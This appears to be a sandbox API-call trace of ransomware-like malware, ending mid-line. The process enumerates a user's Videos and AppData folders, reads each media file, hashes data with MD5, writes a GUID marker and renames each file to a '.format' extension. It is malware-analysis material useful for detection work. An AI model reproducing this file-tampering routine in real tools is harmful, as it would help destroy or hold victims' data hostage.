PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\wvkOd8OJSRo.mp4") returned=".mp4" [0068.106] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\wvkOd8OJSRo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\wvkod8ojsro.mp4"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.106] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=54526) returned 1 [0068.106] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.108] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd4d8, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.108] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.109] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0xd4fe, lpOverlapped=0x0) returned 1 [0068.109] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.109] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.109] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.109] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.110] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.110] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.110] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.110] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.110] GetLastError () returned 0x0 [0068.110] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.110] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.111] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0xd4fe, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.111] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.111] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.111] CloseHandle (hObject=0x5c8) returned 1 [0068.112] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\wvkOd8OJSRo.mp4" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\wvkod8ojsro.mp4"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\wvkOd8OJSRo.mp4.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\wvkod8ojsro.mp4.format")) returned 1 [0068.113] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1c1250, ftCreationTime.dwHighDateTime=0x1d4c9a5, ftLastAccessTime.dwLowDateTime=0xc6eeb1b0, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0xc6eeb1b0, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0x7d08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_bCx53v.avi", cAlternateFileName="")) returned 1 [0068.113] PathFindExtensionW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\_bCx53v.avi") returned=".avi" [0068.113] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\_bCx53v.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\_bcx53v.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x5c8 [0068.113] GetFileSizeEx (in: hFile=0x5c8, lpFileSize=0x38cfb4c | out: lpFileSize=0x38cfb4c*=32008) returned 1 [0068.113] VirtualAlloc (lpAddress=0x0, dwSize=0x25815, flAllocationType=0x1000, flProtect=0x4) returned 0x2990000 [0068.116] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7ce2, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.116] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x26, lpNumberOfBytesRead=0x38cfb7c, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb7c*=0x26, lpOverlapped=0x0) returned 1 [0068.116] ReadFile (in: hFile=0x5c8, lpBuffer=0x2990000, nNumberOfBytesToRead=0x25805, lpNumberOfBytesRead=0x38cfb78, lpOverlapped=0x0 | out: lpBuffer=0x2990000*, lpNumberOfBytesRead=0x38cfb78*=0x7d08, lpOverlapped=0x0) returned 1 [0068.117] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.117] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.117] lstrlenA (lpString="2BCA5DB82C7FDDD21339BF713B35B185") returned 32 [0068.117] CryptAcquireContextW (in: phProv=0x38cfa94, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x38cfa94*=0x6abd70) returned 1 [0068.117] CryptCreateHash (in: hProv=0x6abd70, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0x38cfa9c | out: phHash=0x38cfa9c) returned 1 [0068.117] CryptHashData (hHash=0x31befa0, pbData=0x3298740, dwDataLen=0x25, dwFlags=0x0) returned 1 [0068.118] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x0, pdwDataLen=0x38cfa98) returned 1 [0068.118] CryptGetHashParam (in: hHash=0x31befa0, dwParam=0x2, pbData=0x31596d0, pdwDataLen=0x38cfa98, dwFlags=0x0 | out: pbData=0x31596d0, pdwDataLen=0x38cfa98) returned 1 [0068.118] GetLastError () returned 0x0 [0068.118] CryptDestroyHash (hHash=0x31befa0) returned 1 [0068.118] CryptReleaseContext (hProv=0x6abd70, dwFlags=0x0) returned 1 [0068.118] SetFilePointerEx (in: hFile=0x5c8, liDistanceToMove=0x7d08, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0068.118] lstrlenA (lpString="{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}") returned 38 [0068.118] WriteFile (in: hFile=0x5c8, lpBuffer=0x456394*, nNumberOfBytesToWrite=0x26, lpNumberOfBytesWritten=0x38cfb2c, lpOverlapped=0x0 | out: lpBuffer=0x456394*, lpNumberOfBytesWritten=0x38cfb2c*=0x26, lpOverlapped=0x0) returned 1 [0068.118] CloseHandle (hObject=0x5c8) returned 1 [0068.119] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\_bCx53v.avi" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\_bcx53v.avi"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\3ymkgwpUkCk\\_bCx53v.avi.format" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\videos\\3ymkgwpukck\\_bcx53v.avi.format")) returned 1 [0068.120] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x1e1c1250, ftCreationTime.dwHighDateTime=0x1d4c9a5, ftLastAccessTime.dwLowDateTime=0xc6eeb1b0, ftLastAccessTime.dwHighDateTime=0x1d4ca60, ftLastWriteTime.dwLowDateTime=0xc6eeb1b0, ftLastWriteTime.dwHighDateTime=0x1d4ca60, nFileSizeHigh=0x0, nFileSizeLow=0x7d08, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_bCx53v.avi", cAlternateFileName="")) returned 0 [0068.120] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.120] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.120] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.120] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.120] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.121] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\") returned="Adobe\\" [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x60) returned 0x327cd28 [0068.121] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\") returned="LocalLow\\" [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x20) returned 0x325eb88 [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x50) returned 0x325da20 [0068.121] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\") returned="AppData\\" [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x40) returned 0x3286da0 [0068.121] PathFindFileNameW (pszPath="C:\\Users\\5p5NrGJn0jS HALPmcxz\\") returned="5p5NrGJn0jS HALPmcxz\\" [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x30) returned 0x31830e8 [0068.121] PathFindFileNameW (pszPath="C:\\Users\\") returned="Users\\" [0068.121] PathFindFileNameW (pszPath="C:\\") returned="C:\\" [0068.121] PathFindFileNameW (pszPath="") returned="" [0068.121] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x70) returned 0x31755f8 [0068.121] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\LocalLow\\Adobe\\*", lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x31bee60 [0068.122] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31755f8 | out: hHeap=0x5d0000) returned 1 [0068.122] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0068.122] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd6e27e0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd6e27e0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd6e27e0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Acrobat", cAlternateFileName="")) returned 1 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x1c) returned 0x325eb88 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.122] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.122] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac4e0 | out: hHeap=0x5d0000) returned 1 [0068.122] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 1 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cebb8 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x6cc238 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x38) returned 0x31befa0 [0068.122] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac4e0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6abd70 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x325eb88 | out: hHeap=0x5d0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x90) returned 0x32882c0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cc238 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6cebb8 | out: hHeap=0x5d0000) returned 1 [0068.123] FindNextFileW (in: hFindFile=0x31bee60, lpFindFileData=0x38cfba4 | out: lpFindFileData=0x38cfba4*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xcd708940, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xcd708940, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xcd708940, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Linguistics", cAlternateFileName="LINGUI~1")) returned 0 [0068.123] FindClose (in: hFindFile=0x31bee60 | out: hFindFile=0x31bee60) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x31830e8 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3175418 | out: hHeap=0x5d0000) returned 1 [0068.123] PeekMessageW (in: lpMsg=0x38cff08, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cff08) returned 0 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6abd70 [0068.123] PeekMessageW (in: lpMsg=0x38cfb74, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x38cfb74) returned 0 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.123] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.123] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc2e) returned 0x3177118 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x860) returned 0x3178dd8 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3178dd8 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.124] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.124] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x840) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.125] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.125] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x820) returned 0x32476f0 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x6ac458 | out: hHeap=0x5d0000) returned 1 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x80) returned 0x6ac458 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0x830) returned 0x32476f0 [0068.126] RtlAllocateHeap (HeapHandle=0x5d0000, Flags=0x0, Size=0xc46) returned 0x3177118 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x32476f0 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree (in: hHeap=0x5d0000, dwFlags=0x0, lpMem=0x3177118 | out: hHeap=0x5d0000) returned 1 [0068.126] HeapFree 